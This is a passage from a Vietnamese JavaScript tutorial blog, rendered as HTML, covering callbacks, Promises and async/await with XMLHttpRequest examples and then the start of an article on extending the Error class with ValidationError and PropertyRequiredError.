punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// 'error' is corresponding with 'xhr.statusText' (2)</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// 'error' is corresponding with 'xhr.statusText' (1)</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bắt đầu phức tạp rồi nhỉ? Và nếu bạn phải thực hiện thêm vài request khác nữa thì kết quả chắc chắn sẽ còn kinh khủng hơn rất nhiều. Trường hợp này gọi là <strong>Callback Hell</strong>.</p> <p>Để tránh Callback Hell, bạn có thể sử dụng một cơ chế khác. Đó là Promise.</p> <h2 id="sử-dụng-promise-để-xử-lý-bất-đồng-bộ" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-promise-%C4%91%E1%BB%83-x%E1%BB%AD-l%C3%BD-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99" aria-label="sử dụng promise để xử lý bất đồng bộ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Promise để xử lý bất đồng bộ</h2> <p>Cú pháp cơ bản của <strong>Promise</strong> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Code here</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, hàm được truyền vào <code>new Promise</code> gọi là <strong>executor</strong>.</p> <p>Ban đầu, Promise có state là <code>pending</code> và kết quả <code>value</code> là <code>undefined</code>. Khi executor kết thúc công việc, nó sẽ gọi đến 1 trong 2 hàm được truyền vào:</p> <ul> <li><code>resolve(value)</code>: để xác định rằng công việc đã thực hiện thành công <ul> <li>state chuyển thành <code>fulfilled</code></li> <li>kết quả là <code>value</code></li> </ul> </li> <li><code>reject(error)</code>: để xác định rằng đã có lỗi xảy ra <ul> <li>state chuyển thành <code>rejected</code></li> <li>kết quả là <code>error</code></li> </ul> </li> </ul> <p>Khi sử dụng Promise, ví dụ phía trên sẽ trở thành:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">doAsync</span><span class="token punctuation">(</span><span class="token parameter">url</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> xhr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span> url<span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span>xhr<span class="token punctuation">.</span>responseText<span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span>xhr<span class="token punctuation">.</span>statusText<span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Usage:</span> <span class="token function">doAsync</span><span class="token punctuation">(</span><span class="token string">"https://something.com"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// 'value' is corresponding with 'xhr.responseText'</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// 'error' is corresponding with 'xhr.statusText'</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Và khi bạn muốn thực hiện 2 request liên tiếp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Usage:</span> <span class="token function">doAsync</span><span class="token punctuation">(</span><span class="token string">"https://something.com"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">/* * 'value' is corresponding with 'xhr.responseText' * from 'https://something.com' */</span> <span class="token keyword">return</span> <span class="token function">doAsync</span><span class="token punctuation">(</span><span class="token string">"https://other.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">/* * 'value' is corresponding with 'xhr.responseText' * from 'https://other.com' */</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">/* * 'error' is corresponding with 'xhr.statusText' * from either 'https://something.com' or 'https://other.com' */</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Rõ ràng, cấu trúc chương trình đã trở nên rõ ràng hơn. Không còn hiện tượng nhiều mức lồng nhau như khi sử dụng callback nữa rồi.</p> <h2 id="sử-dụng-asyncawait-để-xử-lý-bất-đồng-bộ" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-asyncawait-%C4%91%E1%BB%83-x%E1%BB%AD-l%C3%BD-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99" aria-label="sử dụng asyncawait để xử lý bất đồng bộ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Async/await để xử lý bất đồng bộ</h2> <p><strong>Async/await</strong> là một cú pháp đặc biệt giúp bạn làm việc với Promise dễ dàng hơn. Khi sử dụng async/await, cấu trúc chương trình xử lý bất đồng bộ sẽ giống với chương trình xử lý đồng bộ hơn.</p> <p>Với ví dụ sử dụng Promise bên trên, mình có thể áp dụng async/await như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">doAsync</span><span class="token punctuation">(</span><span class="token parameter">url</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> xhr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span> url<span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span>xhr<span class="token punctuation">.</span>responseText<span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span>xhr<span class="token punctuation">.</span>statusText<span class="token punctuation">)</span><span class="token punctuation">;</span> xhr<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Usage:</span> <span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> responseText1<span class="token punctuation">,</span> responseText2<span class="token punctuation">;</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> responseText1 <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">doAsync</span><span class="token punctuation">(</span><span class="token string">"https://something.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> responseText2 <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">doAsync</span><span class="token punctuation">(</span><span class="token string">"https://other.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">/* * 'error' is corresponding with 'xhr.statusText' * from either 'https://something.com' or 'https://other.com' */</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu xử lý theo cách này thì dù bạn có thực hiện thêm nhiều request nữa, cấu trúc chương trình vẫn rất rõ ràng và mạch lạc phải không?</p> <p>Và theo mình, đây có lẽ là cách tốt nhất để xử lý bất đồng bộ trong JavaScript, theo quan điểm của bạn thì sao nhỉ?</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là một số kiến thức cơ bản về xử lý bất đồng bộ trong JavaScript với callback, promise và async/await.</p> <p>Bài này không viết chi tiết về Promise hay async/await mà chỉ giúp bạn thấy được cách sử dụng cơ bản, cũng như ưu điểm của chúng so với việc sử dụng callback thông thường.</p> <p>Về chi tiết thì trong các bài viết sau mình sẽ giới thiệu về từng loại xử lý bất đồng bộ trên.</p> <p>Tham khảo:</p> <ul> <li><a href="http://eloquentjavascript.net/11_async.html">Asynchronous Programming</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise - MDN</a></li> <li><a href="https://javascript.info/promise-basics">Promise - Javascript.info</a></li> <li><a href="https://javascript.info/async-await">Async/await</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function">Async function</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await">Await</a></li> </ul>[email protected]<![CDATA[Tùy biến và mở rộng đối tượng Error trong JavaScript]]><![CDATA[Khi phát triển một thứ gì đó, mình thường cần các class Error đặc trưng để miêu tả những lỗi sai trong chương trình. Đối với các lỗi trong hoạt động mạng, mình có thể cần HttpError…]]>https://completejavascript.com/tuy-bien-mo-rong-doi-tuong-error/https://completejavascript.com/tuy-bien-mo-rong-doi-tuong-error/<![CDATA[Error]]>Thu, 06 Jul 2017 08:00:00 GMT<p>Khi phát triển một thứ gì đó, mình thường cần các <strong>class Error đặc trưng</strong> để miêu tả những lỗi sai trong chương trình. Đối với các lỗi trong hoạt động mạng, mình có thể cần <code>HttpError</code>, đối với hoạt động cơ sở dữ liệu là <code>DbError</code> và đối với hoạt động tìm kiếm là <code>NotFoundError</code>, v.v.</p> <p>Các lỗi phải hỗ trợ <a href="/quan-ly-loi-voi-try-catch-trong-javascript/">các thuộc tính cơ bản</a> như <code>message</code>, <code>name</code> và tốt nhất là <code>stack</code>. Nhưng chúng cũng có thể chứa các thuộc tính khác đặc trưng, ví dụ như đối tượng <code>HttpError</code> có một thuộc tính <code>statusCode</code> với giá trị như <code>404</code> hoặc <code>403</code> hay <code>500</code>...</p> <p>JavaScript cho phép sử dụng <code>throw</code> với bất kỳ đối số nào. Vì vậy, về mặt kỹ thuật, các class lỗi tùy chỉnh không cần kế thừa từ <code>Error</code>. Nhưng nếu bạn kế thừa, thì class đó có thể dùng được với <a href="/kiem-tra-lop-toan-tu-instanceof-trong-javascript/"><code>obj instanceof Error</code></a> để xác định các đối tượng lỗi. Do đó, bạn nên kế thừa từ class <code>Error</code> của JavaScript.</p> <p>Khi ứng dụng mở rộng ra, các lỗi của bạn có thể tạo thành một hệ thống phân cấp. Ví dụ, <code>HttpTimeoutError</code> kế thừa từ <code>HttpError</code>, v.v.</p> <h2 id="mở-rộng-đối-tượng-error" style="position:relative;"><a href="#m%E1%BB%9F-r%E1%BB%99ng-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-error" aria-label="mở rộng đối tượng error permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mở rộng đối tượng Error</h2> <p>Giả sử, mình có một hàm <code>readUser(json)</code> để đọc <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a> với dữ liệu người dùng.</p> <p>Dưới đây là ví dụ về một giá trị <code>json</code> hợp lệ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> json <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">{ "name": "Alex", "age": 29 }</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Trong hàm <code>readUser</code>, mình sẽ sử dụng <code>JSON.parse</code> để parse <code>json</code>. Nếu tham số nhận được không đúng định dạng JSON thì hàm <code>parse</code> sẽ <code>throw</code> ra lỗi <code>SyntaxError</code>.</p> <p>Nhưng kể cả khi <code>json</code> chính xác về mặt cú pháp, điều đó không có nghĩa đó là <strong>một người dùng hợp lệ</strong>, phải không?</p> <p>Vì dữ liệu đó có thể thiếu dữ liệu cần thiết. Ví dụ: <code>json</code> có thể thiếu <code>name</code> hoặc <code>age</code> - các thuộc tính cần thiết mô tả một người dùng.</p> <p>Do đó, hàm <code>readUser(json)</code> sẽ không chỉ đọc JSON mà còn kiểm tra - xác thực dữ liệu. Nếu không có trường bắt buộc hoặc định dạng sai thì <strong>đó là lỗi</strong>.</p> <p>Và dĩ nhiên, đây không phải là lỗi <code>SyntaxError</code>. Bởi vì, dữ liệu đúng về mặt cú pháp, nhưng lại bị một loại lỗi khác. Mình sẽ gọi lỗi đó là <code>ValidationError</code> và tạo một class riêng kế thừa từ <code>Error</code>.</p> <p>Lớp <code>Error</code> là <strong>built-in</strong> class, nhưng sau đây là đoạn code gần đúng của <code>Error</code> để bạn hiểu được về những gì mình sẽ kế thừa:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Error</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Nội dung lỗi</span> <span class="token keyword">this</span><span class="token punctuation">.</span>message <span class="token operator">=</span> message<span class="token punctuation">;</span> <span class="token comment">// tên khác nhau với từng loại Error</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"Error"</span><span class="token punctuation">;</span> <span class="token comment">// không phải tiêu chuẩn, nhưng support bởi nhiều môi trường</span> <span class="token keyword">this</span><span class="token punctuation">.</span>stack <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// &lt;call stack></span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Bây giờ, class <code>ValidationError</code> kế thừa từ class <code>Error</code> trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">ValidationError</span> <span class="token keyword">extends</span> <span class="token class-name">Error</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (1)</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"ValidationError"</span><span class="token punctuation">;</span> <span class="token comment">// (2)</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">ValidationError</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Whoops!</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ValidationError</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>stack<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// danh sách nested calls với dòng tương ứng</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Chú ý:</strong> tại dòng <code>(1)</code> mình gọi là hàm khởi tạo của class cha. JavaScript yêu cầu bạn gọi hàm <code>super</code> ở hàm tạo của class con. Điều đó là bắt buộc.</p> <p>Hàm tạo cha sẽ gán giá trị cho thuộc tính <code>message</code>, cũng như set giá trị của <code>name</code> thành <code>"Error"</code>. Vì vậy ở dòng <code>(2)</code>, mình đặt lại giá trị phù hợp.</p> <p>Hãy thử sử dụng <code>ValidationError</code> trong hàm <code>readUser(json)</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">ValidationError</span> <span class="token keyword">extends</span> <span class="token class-name">Error</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"ValidationError"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng</span> <span class="token keyword">function</span> <span class="token function">readUser</span><span class="token punctuation">(</span><span class="token parameter">json</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>json<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>user<span class="token punctuation">.</span>age<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">ValidationError</span><span class="token punctuation">(</span><span class="token string">"No field: age"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">ValidationError</span><span class="token punctuation">(</span><span class="token string">"No field: name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> user<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// ví dụ với try..catch</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token function">readUser</span><span class="token punctuation">(</span><span class="token string">'{ "age": 25 }'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">ValidationError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"Invalid data: "</span> <span class="token operator">+</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Invalid data: No field: name</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err <span class="token keyword">instanceof</span> <span class="token class-name">SyntaxError</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// (*)</span> console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"JSON Syntax Error: "</span> <span class="token operator">+</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token keyword">throw</span> err<span class="token punctuation">;</span> <span class="token comment">// lỗi không rõ, rethrow err (**)</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Khối <code>try..catch</code> trong đoạn code trên xử lý cả lỗi tự định nghĩa <code>ValidationError</code> và built-in error <code>SyntaxError</code> từ hàm <code>JSON.parse</code>.</p> <p><strong>Chú ý</strong> cách sử dụng <code>instanceof</code> để kiểm tra loại lỗi cụ thể tại dòng <code>(*)</code>. Ngoài ra, mình cũng có thể xem xét <code>err.name</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// ...</span> <span class="token comment">// thay vì dùng (err instanceof SyntaxError)</span> <span class="token comment">// bạn có thể dùng như sau</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">.</span>name <span class="token operator">==</span> <span class="token string">"SyntaxError"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// (*)</span> <span class="token comment">// ...</span></code></pre></div> <p>Cách sử dụng <code>instanceof</code> là tốt hơn nhiều, vì có thể mình sẽ tiếp tục mở rộng class <code>ValidationError</code>, tạo ra các loại khác, như <code>PropertyRequiredError</code>. Và toán tử <code>instanceof</code> vẫn tiếp tục hoạt động với các lớp kế thừa mới.</p> <p>Ngoài ra, điều quan trọng là nếu <code>catch</code> gặp một lỗi không xác định, thì luồng chương trình sẽ nhảy vào dòng <code>(**)</code>. Ở đây, khối <code>catch</code> chỉ biết cách xử lý lỗi xác thực và lỗi cú pháp, các loại khác (do lỗi chính tả hoặc các lý do không xác định) sẽ được <code>throw</code> để xử lý chỗ khác.</p> <h2 id="kế-thừa-class-validationerror" style="position:relative;"><a href="#k%E1%BA%BF-th%E1%BB%ABa-class-validationerror" aria-label="kế thừa class validationerror permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kế thừa class <code>ValidationError</code></h2> <p>Class <code>ValidationError</code> khá chung chung. Trong khi có khá nhiều điều có thể sai như: thuộc tính có thể không có hoặc có định dạng sai - ví dụ <code>age</code> là string thay vì số.</p> <p>Vì vậy, hãy tạo một class cụ thể hơn là <code>PropertyRequiredError</code> để mô tả chính xác cho các thuộc tính bị thiếu.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">ValidationError</span> <span class="token keyword">extends</span> <span class="token class-name">Error</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"ValidationError"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">PropertyRequiredError</span> <span class="token keyword">extends</span> <span class="token class-name">ValidationError</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">property</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span><span class="token string">"No property: "</span> <span class="token operator">+</span> property<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"PropertyRequiredError"</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token 